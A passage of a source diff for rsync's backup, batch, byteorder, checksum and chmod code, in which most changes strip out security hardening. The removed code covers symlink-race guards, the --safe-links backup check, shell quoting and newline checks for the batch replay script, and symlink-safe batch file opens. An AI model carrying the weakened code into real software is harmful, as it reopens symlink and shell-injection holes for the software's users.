preserve_links;\n extern int safe_symlinks;\n extern int backup_dir_len;\n extern unsigned int backup_dir_remainder;\n-extern int operator_path_resolve;\n extern char backup_dir_buf[MAXPATHLEN];\n extern char *backup_suffix;\n extern char *backup_dir;\n \n-/* Pin a backup SOURCE leaf with a confined O_NOFOLLOW fd (via the operator\n- * owner-walk resolver, like set_file_attrs's op_leaf_fd) so the ACL/xattr the\n- * backup caches off it are read through the held fd -- a parent-symlink race\n- * can't redirect the read out of the module.  Returns -1 for a non-hardened\n- * receiver (caller path-reads) or for a raced/absent leaf on a hardened one\n- * (caller skips the cache rather than read through a flippable path; use\n- * backup_metadata_hardened() to tell the two -1 cases apart). */\n-int backup_metadata_hardened(void)\n-{\n-\treturn secure_relpath_active() && !symlink_optout_allowed();\n-}\n-\n-int backup_source_fd(const char *path)\n-{\n-#if defined AT_FDCWD && defined O_NOFOLLOW\n-\tif (backup_metadata_hardened() && path && *path) {\n-\t\tint save = operator_path_resolve, fd;\n-\t\toperator_path_resolve = 1;\n-\t\tfd = do_open_at(path, O_RDONLY | O_NONBLOCK | O_NOCTTY | O_CLOEXEC, 0);\n-\t\toperator_path_resolve = save;\n-\t\treturn fd;\n-\t}\n-#endif\n-\treturn -1;\n-}\n-\n /* Returns -1 on error, 0 on missing dir, and 1 on present dir. */\n static int validate_backup_dir(void)\n {\n \tSTRUCT_STAT st;\n \n-\tif (do_lstat_at(backup_dir_buf, &st) < 0) {\n+\tif (do_lstat(backup_dir_buf, &st) < 0) {\n \t\tif (errno == ENOENT)\n \t\t\treturn 0;\n \t\trsyserr(FERROR, errno, \"backup lstat %s failed\", backup_dir_buf);\n@@ -125,7 +98,7 @@ static BOOL copy_valid_path(const char *fname)\n \tfor ( ; b; name = b + 1, b = strchr(name, '/')) {\n \t\t*b = '\\0';\n \n-\t\twhile (do_mkdir_at(backup_dir_buf, ACCESSPERMS) < 0) {\n+\t\twhile (do_mkdir(backup_dir_buf, ACCESSPERMS) < 0) {\n \t\t\tif (errno == EEXIST) {\n \t\t\t\tval = validate_backup_dir();\n \t\t\t\tif (val > 0)\n@@ -147,27 +120,18 @@ static BOOL copy_valid_path(const char *fname)\n \t\t\tstruct file_struct *file;\n \t\t\tif (!(file = make_file(rel, NULL, NULL, 0, NO_FILTERS)))\n \t\t\t\tcontinue;\n-#if defined SUPPORT_ACLS || defined SUPPORT_XATTRS\n-\t\t\t{\t/* read the source dir's ACL/xattr through a confined fd */\n-\t\t\tint bfd = backup_source_fd(rel);\n-\t\t\tif (!backup_metadata_hardened() || bfd >= 0) {\n-# ifdef SUPPORT_ACLS\n-\t\t\t\tif (preserve_acls && !S_ISLNK(file->mode)) {\n-\t\t\t\t\tget_acl_fdat(bfd, -1, NULL, rel, &sx);\n-\t\t\t\t\tcache_tmp_acl(file, &sx);\n-\t\t\t\t\tfree_acl(&sx);\n-\t\t\t\t}\n-# endif\n-# ifdef SUPPORT_XATTRS\n-\t\t\t\tif (preserve_xattrs) {\n-\t\t\t\t\tget_xattr(rel, bfd, &sx);\n-\t\t\t\t\tcache_tmp_xattr(file, &sx);\n-\t\t\t\t\tfree_xattr(&sx);\n-\t\t\t\t}\n-# endif\n+#ifdef SUPPORT_ACLS\n+\t\t\tif (preserve_acls && !S_ISLNK(file->mode)) {\n+\t\t\t\tget_acl(rel, &sx);\n+\t\t\t\tcache_tmp_acl(file, &sx);\n+\t\t\t\tfree_acl(&sx);\n \t\t\t}\n-\t\t\tif (bfd >= 0)\n-\t\t\t\tclose(bfd);\n+#endif\n+#ifdef SUPPORT_XATTRS\n+\t\t\tif (preserve_xattrs) {\n+\t\t\t\tget_xattr(rel, &sx);\n+\t\t\t\tcache_tmp_xattr(file, &sx);\n+\t\t\t\tfree_xattr(&sx);\n \t\t\t}\n #endif\n \t\t\tset_file_attrs(backup_dir_buf, file, NULL, NULL, 0);\n@@ -195,15 +159,12 @@ char *get_backup_name(const char *fname)\n \tif (backup_dir) {\n \t\tstatic int initialized = 0;\n \t\tif (!initialized) {\n-\t\t\tchar dirbuf[MAXPATHLEN];\n \t\t\tint ret;\n-\t\t\tif (strlcpy(dirbuf, backup_dir_buf, sizeof dirbuf) >= sizeof dirbuf) {\n-\t\t\t\terrno = ENAMETOOLONG;\n-\t\t\t\treturn NULL;\n-\t\t\t}\n \t\t\tif (backup_dir_len > 1)\n-\t\t\t\tdirbuf[backup_dir_len-1] = '\\0';\n-\t\t\tret = make_path(dirbuf, 0);\n+\t\t\t\tbackup_dir_buf[backup_dir_len-1] = '\\0';\n+\t\t\tret = make_path(backup_dir_buf, 0);\n+\t\t\tif (backup_dir_len > 1)\n+\t\t\t\tbackup_dir_buf[backup_dir_len-1] = '/';\n \t\t\tif (ret < 0)\n \t\t\t\treturn NULL;\n \t\t\tinitialized = 1;\n@@ -236,7 +197,7 @@ static inline int link_or_rename(const char *from, const char *to,\n \t\tif (IS_SPECIAL(stp->st_mode) || IS_DEVICE(stp->st_mode))\n \t\t\treturn 0; /* Use copy code. */\n #endif\n-\t\tif (do_link_at(from, to) == 0) {\n+\t\tif (do_link(from, to) == 0) {\n \t\t\tif (DEBUG_GTE(BACKUP, 1))\n \t\t\t\trprintf(FINFO, \"make_backup: HLINK %s successful.\\n\", from);\n \t\t\treturn 2;\n@@ -246,7 +207,7 @@ static inline int link_or_rename(const char *from, const char *to,\n \t\t\treturn 0;\n \t}\n #endif\n-\tif (do_rename_at(from, to) == 0) {\n+\tif (do_rename(from, to) == 0) {\n \t\tif (stp->st_nlink > 1 && !S_ISDIR(stp->st_mode)) {\n \t\t\t/* If someone has hard-linked the file into the backup\n \t\t\t * dir, rename() might return success but do nothing! */\n@@ -262,7 +223,7 @@ static inline int link_or_rename(const char *from, const char *to,\n /* Hard-link, rename, or copy an item to the backup name.  Returns 0 for\n  * failure, 1 if item was moved, 2 if item was duplicated or hard linked\n  * into backup area, or 3 if item doesn't exist or isn't a regular file. */\n-static int make_backup_inner(const char *fname, BOOL prefer_rename)\n+int make_backup(const char *fname, BOOL prefer_rename)\n {\n \tstat_x sx;\n \tstruct file_struct *file;\n@@ -278,38 +239,6 @@ static int make_backup_inner(const char *fname, BOOL prefer_rename)\n \tif (!(buf = get_backup_name(fname)))\n \t\treturn 0;\n \n-#ifdef SUPPORT_LINKS\n-\t/* Honor --safe-links BEFORE the hard-link / rename fast path.  When\n-\t * CAN_HARDLINK_SYMLINK is defined, link_or_rename() would otherwise\n-\t * hard-link an escaping symlink (e.g. ../../etc/passwd) into the backup\n-\t * area and \"goto success\", skipping the safe_symlinks check in the\n-\t * copy-fallback path below -- silently preserving an unsafe link that\n-\t * --safe-links was meant to drop.  Match the copy path: don't back up an\n-\t * unsafe symlink. */\n-\tif (preserve_links && S_ISLNK(sx.st.st_mode) && safe_symlinks) {\n-\t\tchar lnkbuf[MAXPATHLEN];\n-\t\tint llen = do_readlink(fname, lnkbuf, MAXPATHLEN - 1);\n-\t\t/* A failed readlink means we can't verify the target, so fail\n-\t\t * closed: skip the backup rather than let the hard-link fast path\n-\t\t * preserve a possibly-unsafe symlink unchecked. */\n-\t\tif (llen <= 0) {\n-\t\t\tif (INFO_GTE(SYMSAFE, 1))\n-\t\t\t\trprintf(FINFO, \"not backing up symlink with unreadable target \\\"%s\\\"\\n\", fname);\n-\t\t\tret = 2;\n-\t\t\tgoto success;\n-\t\t}\n-\t\tlnkbuf[llen] = '\\0';\n-\t\tif (unsafe_symlink(lnkbuf, fname)) {\n-\t\t\tif (INFO_GTE(SYMSAFE, 1)) {\n-\t\t\t\trprintf(FINFO, \"not backing up unsafe symlink \\\"%s\\\" -> \\\"%s\\\"\\n\",\n-\t\t\t\t\tfname, lnkbuf);\n-\t\t\t}\n-\t\t\tret = 2;\n-\t\t\tgoto success;\n-\t\t}\n-\t}\n-#endif\n-\n \t/* Try a hard-link or a rename first.  Using rename is not atomic, but\n \t * is more efficient than forcing a copy for larger files when no hard-\n \t * linking is possible. */\n@@ -317,7 +246,7 @@ static int make_backup_inner(const char *fname, BOOL prefer_rename)\n \t\tgoto success;\n \tif (errno == EEXIST || errno == EISDIR) {\n \t\tSTRUCT_STAT bakst;\n-\t\tif (do_lstat_at(buf, &bakst) == 0) {\n+\t\tif (do_lstat(buf, &bakst) == 0) {\n \t\t\tint flags = get_del_for_flag(bakst.st_mode) | DEL_FOR_BACKUP | DEL_RECURSE;\n \t\t\tif (delete_item(buf, bakst.st_mode, flags) != 0)\n \t\t\t\treturn 0;\n@@ -330,34 +259,25 @@ static int make_backup_inner(const char *fname, BOOL prefer_rename)\n \tif (!(file = make_file(fname, NULL, &sx.st, 0, NO_FILTERS)))\n \t\treturn 3; /* the file could have disappeared */\n \n-#if defined SUPPORT_ACLS || defined SUPPORT_XATTRS\n-\t{\t/* read the source file's ACL/xattr through a confined fd */\n-\tint bfd = backup_source_fd(fname);\n-\tif (!backup_metadata_hardened() || bfd >= 0) {\n-# ifdef SUPPORT_ACLS\n-\t\tif (preserve_acls && !S_ISLNK(file->mode)) {\n-\t\t\tget_acl_fdat(bfd, -1, NULL, fname, &sx);\n-\t\t\tcache_tmp_acl(file, &sx);\n-\t\t\tfree_acl(&sx);\n-\t\t}\n-# endif\n-# ifdef SUPPORT_XATTRS\n-\t\tif (preserve_xattrs) {\n-\t\t\tget_xattr(fname, bfd, &sx);\n-\t\t\tcache_tmp_xattr(file, &sx);\n-\t\t\tfree_xattr(&sx);\n-\t\t}\n-# endif\n+#ifdef SUPPORT_ACLS\n+\tif (preserve_acls && !S_ISLNK(file->mode)) {\n+\t\tget_acl(fname, &sx);\n+\t\tcache_tmp_acl(file, &sx);\n+\t\tfree_acl(&sx);\n \t}\n-\tif (bfd >= 0)\n-\t\tclose(bfd);\n+#endif\n+#ifdef SUPPORT_XATTRS\n+\tif (preserve_xattrs) {\n+\t\tget_xattr(fname, &sx);\n+\t\tcache_tmp_xattr(file, &sx);\n+\t\tfree_xattr(&sx);\n \t}\n #endif\n \n \t/* Check to see if this is a device file, or link */\n \tif ((am_root && preserve_devices && IS_DEVICE(file->mode))\n \t || (preserve_specials && IS_SPECIAL(file->mode))) {\n-\t\tif (do_mknod_at(buf, file->mode, sx.st.st_rdev) < 0)\n+\t\tif (do_mknod(buf, file->mode, sx.st.st_rdev) < 0)\n \t\t\trsyserr(FERROR, errno, \"mknod %s failed\", full_fname(buf));\n \t\telse if (DEBUG_GTE(BACKUP, 1))\n \t\t\trprintf(FINFO, \"make_backup: DEVICE %s successful.\\n\", fname);\n@@ -374,7 +294,7 @@ static int make_backup_inner(const char *fname, BOOL prefer_rename)\n \t\t\t}\n \t\t\tret = 2;\n \t\t} else {\n-\t\t\tif (do_symlink_at(sl, buf) < 0)\n+\t\t\tif (do_symlink(sl, buf) < 0)\n \t\t\t\trsyserr(FERROR, errno, \"link %s -> \\\"%s\\\"\", full_fname(buf), sl);\n \t\t\telse if (DEBUG_GTE(BACKUP, 1))\n \t\t\t\trprintf(FINFO, \"make_backup: SYMLINK %s successful.\\n\", fname);\n@@ -433,17 +353,3 @@ static int make_backup_inner(const char *fname, BOOL prefer_rename)\n \t\trprintf(FINFO, \"backed up %s to %s\\n\", fname, buf);\n \treturn ret;\n }\n-\n-int make_backup(const char *fname, BOOL prefer_rename)\n-{\n-\tint ret;\n-\t/* The --backup-dir is an operator-supplied path: resolve it (and the\n-\t * tail/rename beneath it) with the ownership walk so a foreign-owned\n-\t * symlink component is refused while the operator's own is followed --\n-\t * absolute and relative alike.  --insecure-links / \"insecure links =\"\n-\t * restores legacy following. */\n-\toperator_path_resolve = 1;\n-\tret = make_backup_inner(fname, prefer_rename);\n-\toperator_path_resolve = 0;\n-\treturn ret;\n-}\ndiff --git a/batch.c b/batch.c\nindex 502c6ef..accc4c6 100644\n--- a/batch.c\n+++ b/batch.c\n@@ -75,7 +75,7 @@ static int *flag_ptr[] = {\n \tNULL\n };\n \n-static const char *const flag_name[] = {\n+static char *flag_name[] = {\n \t\"--recurse (-r)\",\n \t\"--owner (-o)\",\n \t\"--group (-g)\",\n@@ -166,33 +166,25 @@ static int write_arg(const char *arg)\n \tconst char *x, *s;\n \tint len, err = 0;\n \n-\t/* Emit a \"--opt=\" prefix unquoted only when it is a plain option token;\n-\t * a metacharacter before '=' (an attacker-shaped arg) must be quoted\n-\t * along with the rest, or it would run raw in the replay script. */\n \tif (*arg == '-' && (x = strchr(arg, '=')) != NULL) {\n-\t\tconst char *p = arg;\n-\t\twhile (p < x && (*p == '-' || *p == '_'\n-\t\t    || (*p >= '0' && *p <= '9')\n-\t\t    || (*p >= 'A' && *p <= 'Z')\n-\t\t    || (*p >= 'a' && *p <= 'z')))\n-\t\t\tp++;\n-\t\tif (p == x) {\n-\t\t\terr |= write(batch_sh_fd, arg, x - arg + 1) != x - arg + 1;\n-\t\t\targ += x - arg + 1;\n-\t\t}\n+\t\terr |= write(batch_sh_fd, arg, x - arg + 1) != x - arg + 1;\n+\t\targ += x - arg + 1;\n \t}\n \n-\t/* Single-quote unconditionally so every shell metacharacter (backtick,\n-\t * newline, redirection, ...) stays literal in the replay script. An\n-\t * embedded ' is emitted as the '\\'' close/escape/reopen sequence. */\n-\terr |= write(batch_sh_fd, \"'\", 1) != 1;\n-\tfor (s = arg; (x = strchr(s, '\\'')) != NULL; s = x + 1) {\n-\t\terr |= write(batch_sh_fd, s, x - s) != x - s;\n-\t\terr |= write(batch_sh_fd, \"'\\\\''\", 4) != 4;\n+\tif (strpbrk(arg, \" \\\"'&;|[]()$#!*?^\\\\\") != NULL) {\n+\t\terr |= write(batch_sh_fd, \"'\", 1) != 1;\n+\t\tfor (s = arg; (x = strchr(s, '\\'')) != NULL; s = x + 1) {\n+\t\t\terr |= write(batch_sh_fd, s, x - s + 1) != x - s + 1;\n+\t\t\terr |= write(batch_sh_fd, \"'\", 1) != 1;\n+\t\t}\n+\t\tlen = strlen(s);\n+\t\terr |= write(batch_sh_fd, s, len) != len;\n+\t\terr |= write(batch_sh_fd, \"'\", 1) != 1;\n+\t\treturn err;\n \t}\n-\tlen = strlen(s);\n-\terr |= write(batch_sh_fd, s, len) != len;\n-\terr |= write(batch_sh_fd, \"'\", 1) != 1;\n+\n+\tlen = strlen(arg);\n+\terr |= write(batch_sh_fd, arg, len) != len;\n \n \treturn err;\n }\n@@ -202,7 +194,7 @@ static int write_opt(const char *opt, const char *arg)\n {\n \tint len = strlen(opt);\n \tint err = write(batch_sh_fd, \" \", 1) != 1;\n-\terr |= write(batch_sh_fd, opt, len) != len;\n+\terr = write(batch_sh_fd, opt, len) != len ? 1 : 0;\n \tif (arg) {\n \t\terr |= write(batch_sh_fd, \"=\", 1) != 1;\n \t\terr |= write_arg(arg);\n@@ -218,16 +210,6 @@ static void write_filter_rules(int fd)\n \tfor (ent = filter_list.head; ent; ent = ent->next) {\n \t\tunsigned int plen;\n \t\tchar *p = get_rule_prefix(ent, \"- \", 0, &plen);\n-\t\t/* A filter pattern is one here-doc line; an embedded newline would let\n-\t\t * a crafted pattern (e.g. from a dir-merge/--exclude-from file in an\n-\t\t * untrusted tree) forge the \"#E#\" terminator on its own line and inject\n-\t\t * shell commands into the generated replay script.  Such a pattern also\n-\t\t * can't round-trip the line-delimited here-doc, so refuse it fail-closed\n-\t\t * rather than emit an injectable script. */\n-\t\tif (ent->pattern && strchr(ent->pattern, '\\n')) {\n-\t\t\trprintf(FERROR, \"cannot write a filter rule containing a newline to the batch replay script\\n\");\n-\t\t\texit_cleanup(RERR_SYNTAX);\n-\t\t}\n \t\twrite_buf(fd, p, plen);\n \t\twrite_sbuf(fd, ent->pattern);\n \t\tif (ent->rflags & FILTRULE_DIRECTORY)\n@@ -242,45 +224,27 @@ static void write_filter_rules(int fd)\n /* This sets batch_fd and (for --write-batch) batch_sh_fd. */\n void open_batch_files(void)\n {\n-\t/* --write-batch/--read-batch are operator-supplied; a planted symlink\n-\t * could truncate+overwrite an arbitrary file (write side) or stream\n-\t * attacker bytes into the protocol parser (read side).  Refuse symlinks\n-\t * not owned by uid 0 or our euid anywhere in the path. */\n \tif (write_batch) {\n \t\tchar filename[MAXPATHLEN];\n \n \t\tstringjoin(filename, sizeof filename, batch_name, \".sh\", NULL);\n \n-\t\tbatch_sh_fd = open_no_attacker_symlinks(filename, O_WRONLY | O_CREAT | O_TRUNC | O_BINARY, S_IRUSR | S_IWUSR | S_IXUSR);\n+\t\tbatch_sh_fd = do_open(filename, O_WRONLY | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR | S_IXUSR);\n \t\tif (batch_sh_fd < 0) {\n \t\t\trsyserr(FERROR, errno, \"Batch file %s open error\", full_fname(filename));\n \t\t\texit_cleanup(RERR_FILESELECT);\n \t\t}\n \n-\t\t/* O_BINARY: the batch stream is binary protocol data; without it\n-\t\t * Cygwin et al apply CRLF translation and corrupt it.  Unlike\n-\t\t * do_open(), open_no_attacker_symlinks passes flags verbatim. */\n-\t\tbatch_fd = open_no_attacker_symlinks(batch_name, O_WRONLY | O_CREAT | O_TRUNC | O_BINARY, S_IRUSR | S_IWUSR);\n+\t\tbatch_fd = do_open(batch_name, O_WRONLY | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR);\n \t} else if (strcmp(batch_name, \"-\") == 0)\n \t\tbatch_fd = STDIN_FILENO;\n \telse\n-\t\tbatch_fd = open_no_attacker_symlinks(batch_name, O_RDONLY | O_BINARY, S_IRUSR | S_IWUSR);\n+\t\tbatch_fd = do_open(batch_name, O_RDONLY, S_IRUSR | S_IWUSR);\n \n \tif (batch_fd < 0) {\n \t\trsyserr(FERROR, errno, \"Batch file %s open error\", full_fname(batch_name));\n \t\texit_cleanup(RERR_FILEIO);\n \t}\n-\n-\t/* --read-batch: the file's bytes drive the protocol parser,\n-\t * allow FIFOs used by shell process substitution while continuing to reject other non-regular inputs. */\n-\tif (!write_batch && batch_fd != STDIN_FILENO) {\n-\t\tSTRUCT_STAT st;\n-\t\tif (do_fstat(batch_fd, &st) == 0 && !S_ISREG(st.st_mode) && !S_ISFIFO(st.st_mode)) {\n-\t\t\trprintf(FERROR, \"Batch file %s is neither a regular file nor a FIFO\\n\",\n-\t\t\t\tfull_fname(batch_name));\n-\t\t\texit_cleanup(RERR_FILEIO);\n-\t\t}\n-\t}\n }\n \n /* This routine tries to write out an equivalent --read-batch command\ndiff --git a/byteorder.h b/byteorder.h\nindex 855e8fe..059cc70 100644\n--- a/byteorder.h\n+++ b/byteorder.h\n@@ -68,26 +68,10 @@ SIVAL64(char *buf, int pos, int64 val)\n \n #else /* !CAREFUL_ALIGNMENT */\n \n-/* We don't want false positives about alignment from UBSAN, see:\n-   https://github.com/WayneD/rsync/issues/427#issuecomment-1375132291\n-*/\n-\n-/* From https://gcc.gnu.org/onlinedocs/cpp/Common-Predefined-Macros.html */\n-#ifndef GCC_VERSION\n-#define GCC_VERSION (__GNUC__ * 10000 \\\n-                     + __GNUC_MINOR__ * 100 \\\n-                     + __GNUC_PATCHLEVEL__)\n-#endif\n-\n /* This handles things for architectures like the 386 that can handle alignment errors.\n  * WARNING: This section is dependent on the length of an int32 (and thus a uint32)\n  * being correct (4 bytes)!  Set CAREFUL_ALIGNMENT if it is not. */\n \n-#ifdef __clang__\n-__attribute__((no_sanitize(\"undefined\")))\n-#elif GCC_VERSION >= 409\n-__attribute__((no_sanitize_undefined))\n-#endif\n static inline uint32\n IVALu(const uchar *buf, int pos)\n {\n@@ -99,11 +83,6 @@ IVALu(const uchar *buf, int pos)\n \treturn *u.num;\n }\n \n-#ifdef __clang__\n-__attribute__((no_sanitize(\"undefined\")))\n-#elif GCC_VERSION >= 409\n-__attribute__((no_sanitize_undefined))\n-#endif\n static inline void\n SIVALu(uchar *buf, int pos, uint32 val)\n {\n@@ -115,11 +94,6 @@ SIVALu(uchar *buf, int pos, uint32 val)\n \t*u.num = val;\n }\n \n-#ifdef __clang__\n-__attribute__((no_sanitize(\"undefined\")))\n-#elif GCC_VERSION >= 409\n-__attribute__((no_sanitize_undefined))\n-#endif\n static inline int64\n IVAL64(const char *buf, int pos)\n {\n@@ -131,11 +105,6 @@ IVAL64(const char *buf, int pos)\n \treturn *u.num;\n }\n \n-#ifdef __clang__\n-__attribute__((no_sanitize(\"undefined\")))\n-#elif GCC_VERSION >= 409\n-__attribute__((no_sanitize_undefined))\n-#endif\n static inline void\n SIVAL64(char *buf, int pos, int64 val)\n {\ndiff --git a/checksum.c b/checksum.c\nindex 4c91c2b..66e8089 100644\n--- a/checksum.c\n+++ b/checksum.c\n@@ -87,24 +87,6 @@ struct name_num_obj valid_auth_checksums = {\n \t\"daemon auth checksum\", NULL, 0, 0, valid_auth_checksums_items\n };\n \n-/* Return the strength rank (0 = strongest) of a daemon-auth digest by name in\n- * valid_auth_checksums_items[], which is listed strongest-first; -1 if the name\n- * is not a supported auth digest on this build.  Used by the daemon's\n- * \"auth digest\" floor to compare the negotiated digest against the minimum. */\n-int auth_digest_rank(const char *name)\n-{\n-\tstruct name_num_item *nni;\n-\tint rank = 0;\n-\n-\tif (!name || !*name)\n-\t\treturn -1;\n-\tfor (nni = valid_auth_checksums_items; nni->name; nni++, rank++) {\n-\t\tif (strcasecmp(nni->name, name) == 0)\n-\t\t\treturn rank;\n-\t}\n-\treturn -1;\n-}\n-\n /* These cannot make use of openssl, so they're marked just as built-in */\n struct name_num_item implied_checksum_md4 =\n     { CSUM_MD4, NNI_BUILTIN, \"md4\", NULL };\n@@ -194,7 +176,7 @@ void parse_checksum_choice(int final_call)\n \tif (valid_checksums.negotiated_nni)\n \t\txfer_sum_nni = file_sum_nni = valid_checksums.negotiated_nni;\n \telse {\n-\t\tconst char *cp = checksum_choice ? strchr(checksum_choice, ',') : NULL;\n+\t\tchar *cp = checksum_choice ? strchr(checksum_choice, ',') : NULL;\n \t\tif (cp) {\n \t\t\txfer_sum_nni = parse_csum_name(checksum_choice, cp - checksum_choice);\n \t\t\tfile_sum_nni = parse_csum_name(cp+1, -1);\n@@ -384,8 +366,9 @@ void get_checksum2(char *buf, int32 len, char *sum)\n \n \t\tmdfour_begin(&m);\n \n-\t\tif (len > len1 || !buf1) {\n-\t\t\tfree(buf1);\n+\t\tif (len > len1) {\n+\t\t\tif (buf1)\n+\t\t\t\tfree(buf1);\n \t\t\tbuf1 = new_array(char, len+4);\n \t\t\tlen1 = len;\n \t\t}\ndiff --git a/chmod.c b/chmod.c\nindex b7eda98..8bbf791 100644\n--- a/chmod.c\n+++ b/chmod.c\n@@ -29,7 +29,7 @@ extern mode_t orig_umask;\n \n struct chmod_mode_struct {\n \tstruct chmod_mode_struct *next;\n-\tint ModeAND, ModeOR, ModeCOPY_SRC, ModeCOPY_DST, ModeCOPY_AND, ModeOP;\n+\tint ModeAND, ModeOR;\n \tchar flags;\n };\n \n@@ -43,20 +43,6 @@ struct chmod_mode_struct {\n #define STATE_2ND_HALF 2\n #define STATE_OCTAL_NUM 3\n \n-static int mode_dest_special_bits(int where)\n-{\n-\tint bits = 0;\n-\n-\tif (where & 0100)\n-\t\tbits |= S_ISUID;\n-\tif (where & 0010)\n-\t\tbits |= S_ISGID;\n-\tif (where & 0001)\n-\t\tbits |= S_ISVTX;\n-\n-\treturn bits;\n-}\n-\n /* Parse a chmod-style argument, and break it down into one or more AND/OR\n  * pairs in a linked list.  We return a pointer to new items on success\n  * (appending the items to the specified list), or NULL on error. */\n@@ -64,13 +50,13 @@ struct chmod_mode_struct *parse_chmod(const char *modestr,\n \t\t\t\t      struct chmod_mode_struct **root_mode_ptr)\n {\n \tint state = STATE_1ST_HALF;\n-\tint where = 0, what = 0, op = 0, topbits = 0, topoct = 0, flags = 0, copybits = 0;\n+\tint where = 0, what = 0, op = 0, topbits = 0, topoct = 0, flags = 0;\n \tstruct chmod_mode_struct *first_mode = NULL, *curr_mode = NULL,\n \t\t\t\t *prev_mode = NULL;\n \n \twhile (state != STATE_ERROR) {\n \t\tif (!*modestr || *modestr == ',') {\n-\t\t\tint bits, where_specified;\n+\t\t\tint bits;\n \n \t\t\tif (!op) {\n \t\t\t\tstate = STATE_ERROR;\n@@ -84,10 +70,9 @@ struct chmod_mode_struct *parse_chmod(const char *modestr,\n \t\t\t\tfirst_mode = curr_mode;\n \t\t\tcurr_mode->next = NULL;\n \n-\t\t\twhere_specified = where;\n-\t\t\tif (where) {\n+\t\t\tif (where)\n \t\t\t\tbits = where * what;\n-\t\t\t} else {\n+\t\t\telse {\n \t\t\t\twhere = 0111;\n \t\t\t\tbits = (where * what) & ~orig_umask;\n \t\t\t}\n@@ -96,35 +81,18 @@ struct chmod_mode_struct *parse_chmod(const char *modestr,\n \t\t\tcase CHMOD_ADD:\n \t\t\t\tcurr_mode->ModeAND = CHMOD_BITS;\n \t\t\t\tcurr_mode->ModeOR  = bits + topoct;\n-\t\t\t\tcurr_mode->ModeCOPY_SRC = copybits;\n-\t\t\t\tcurr_mode->ModeCOPY_DST = where;\n-\t\t\t\tcurr_mode->ModeCOPY_AND = where_specified ? CHMOD_BITS : ~orig_umask;\n-\t\t\t\tcurr_mode->ModeOP = op;\n \t\t\t\tbreak;\n \t\t\tcase CHMOD_SUB:\n \t\t\t\tcurr_mode->ModeAND = CHMOD_BITS - bits - topoct;\n \t\t\t\tcurr_mode->ModeOR  = 0;\n-\t\t\t\tcurr_mode->ModeCOPY_SRC = copybits;\n-\t\t\t\tcurr_mode->ModeCOPY_DST = where;\n-\t\t\t\tcurr_mode->ModeCOPY_AND = where_specified ? CHMOD_BITS : ~orig_umask;\n-\t\t\t\tcurr_mode->ModeOP = op;\n \t\t\t\tbreak;\n \t\t\tcase CHMOD_EQ:\n-\t\t\t\tcurr_mode->ModeAND = CHMOD_BITS - (where * 7) - (topoct ? topbits : 0)\n-\t\t\t\t\t\t    - (copybits ? mode_dest_special_bits(where) : 0);\n+\t\t\t\tcurr_mode->ModeAND = CHMOD_BITS - (where * 7) - (topoct ? topbits : 0);\n \t\t\t\tcurr_mode->ModeOR  = bits + topoct;\n-\t\t\t\tcurr_mode->ModeCOPY_SRC = copybits;\n-\t\t\t\tcurr_mode->ModeCOPY_DST = where;\n-\t\t\t\tcurr_mode->ModeCOPY_AND = where_specified ? CHMOD_BITS : ~orig_umask;\n-\t\t\t\tcurr_mode->ModeOP = op;\n \t\t\t\tbreak;\n \t\t\tcase CHMOD_SET:\n \t\t\t\tcurr_mode->ModeAND = 0;\n \t\t\t\tcurr_mode->ModeOR  = bits;\n-\t\t\t\tcurr_mode->ModeCOPY_SRC = 0;\n-\t\t\t\tcurr_mode->ModeCOPY_DST = 0;\n-\t\t\t\tcurr_mode->ModeCOPY_AND = CHMOD_BITS;\n-\t\t\t\tcurr_mode->ModeOP = op;\n \t\t\t\tbreak;\n \t\t\t}\n \n@@ -135,7 +103,7 @@ struct chmod_mode_struct *parse_chmod(const char *modestr,\n \t\t\tmodestr++;\n \n \t\t\tstate = STATE_1ST_HALF;\n-\t\t\twhere = what = op = topoct = topbits = flags = copybits = 0;\n+\t\t\twhere = what = op = topoct = topbits = flags = 0;\n \t\t}\n \n \t\tswitch (state) {\n@@ -164,7 +132,6 @@ struct chmod_mode_struct *parse_chmod(const char *modestr,\n \t\t\t\tbreak;\n \t\t\tcase 'a':\n \t\t\t\twhere |= 0111;\n-\t\t\t\ttopbits |= 06000; /* a+s sets BOTH setuid and setgid (like chmod(1)) */\n \t\t\t\tbreak;\n \t\t\tcase '+':\n \t\t\t\top = CHMOD_ADD;\n@@ -192,53 +159,26 @@ struct chmod_mode_struct *parse_chmod(const char *modestr,\n \t\tcase STATE_2ND_HALF:\n \t\t\tswitch (*modestr) {\n \t\t\tcase 'r':\n-\t\t\t\tif (copybits)\n-\t\t\t\t\tstate = STATE_ERROR;\n \t\t\t\twhat |= 4;\n \t\t\t\tbreak;\n \t\t\tcase 'w':\n-\t\t\t\tif (copybits)\n-\t\t\t\t\tstate = STATE_ERROR;\n \t\t\t\twhat |= 2;\n \t\t\t\tbreak;\n \t\t\tcase 'X':\n-\t\t\t\tif (copybits)\n-\t\t\t\t\tstate = STATE_ERROR;\n \t\t\t\tflags |= FLAG_X_KEEP;\n \t\t\t\t/* FALL THROUGH */\n \t\t\tcase 'x':\n-\t\t\t\tif (copybits)\n-\t\t\t\t\tstate = STATE_ERROR;\n \t\t\t\twhat |= 1;\n \t\t\t\tbreak;\n \t\t\tcase 's':\n-\t\t\t\tif (copybits)\n-\t\t\t\t\tstate = STATE_ERROR;\n \t\t\t\tif (topbits)\n \t\t\t\t\ttopoct |= topbits;\n \t\t\t\telse\n \t\t\t\t\ttopoct = 04000;\n \t\t\t\tbreak;\n \t\t\tcase 't':\n-\t\t\t\tif (copybits)\n-\t\t\t\t\tstate = STATE_ERROR;\n \t\t\t\ttopoct |= 01000;\n \t\t\t\tbreak;\n-\t\t\tcase 'u':\n-\t\t\t\tif (what || topoct || copybits)\n-\t\t\t\t\tstate = STATE_ERROR;\n-\t\t\t\tcopybits = 0100;\n-\t\t\t\tbreak;\n-\t\t\tcase 'g':\n-\t\t\t\tif (what || topoct || copybits)\n-\t\t\t\t\tstate = STATE_ERROR;\n-\t\t\t\tcopybits = 0010;\n-\t\t\t\tbreak;\n-\t\t\tcase 'o':\n-\t\t\t\tif (what || topoct || copybits)\n-\t\t\t\t\tstate = STATE_ERROR;\n-\t\t\t\tcopybits = 0001;\n-\t\t\t\tbreak;\n \t\t\tdefault:\n \t\t\t\tstate = STATE_ERROR;\n \t\t\t\tbreak;\n@@ -272,20 +212,6 @@ struct chmod_mode_struct *parse_chmod(const char *modestr,\n \treturn first_mode;\n }\n \n-static int mode_copy_bits(int mode, int copy_src, int copy_dst, int copy_and)\n-{\n-\tint copy_bits = 0;\n-\n-\tif (copy_src & 0100)\n-\t\tcopy_bits |= (mode >> 